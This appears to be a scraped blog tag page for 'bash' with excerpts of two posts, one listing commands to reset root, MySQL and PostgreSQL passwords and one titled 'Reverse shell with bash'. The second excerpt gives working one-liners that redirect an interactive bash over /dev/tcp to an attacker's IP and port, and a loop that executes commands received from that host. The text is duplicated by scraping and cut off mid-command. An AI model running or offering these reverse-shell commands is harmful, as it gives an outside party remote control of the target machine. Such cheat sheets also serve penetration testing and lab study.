Tag: bash

Linux, Security

Change admin passwords

System sudo passwd rootsudo passwd root MySQL mysqladmin -u root -p passwordmysqladmin -u root -p password PostgreSQL sudo -u postgres psql -U postgres -h 127.0.0.1 -d postgres -c "ALTER USER postgres WITH PASSWORD ‘newpassword’;"sudo -u postgres psql -U postgres -h 127.0.0.1 -d postgres -c "ALTER USER postgres WITH PASSWORD ‘newpassword’;" Gitlab GLPI Project mysql -u …

Shells

Reverse shell with bash

Assuming that the attacker’s machine ip address is 192.168.1.111 and the listening port is 8181. Type in the target’s machine terminal /bin/bash -i > /dev/tcp/192.168.1.111/8181 0<&1 2>&1/bin/bash -i > /dev/tcp/192.168.1.111/8181 0<&1 2>&1 hit enter or exec 5<>/dev/tcp/192.168.1.111/8181exec 5<>/dev/tcp/192.168.1.111/8181 hit enter cat <&5 | while read line; do $line 2>&5 >&5; donecat <&5 | while read …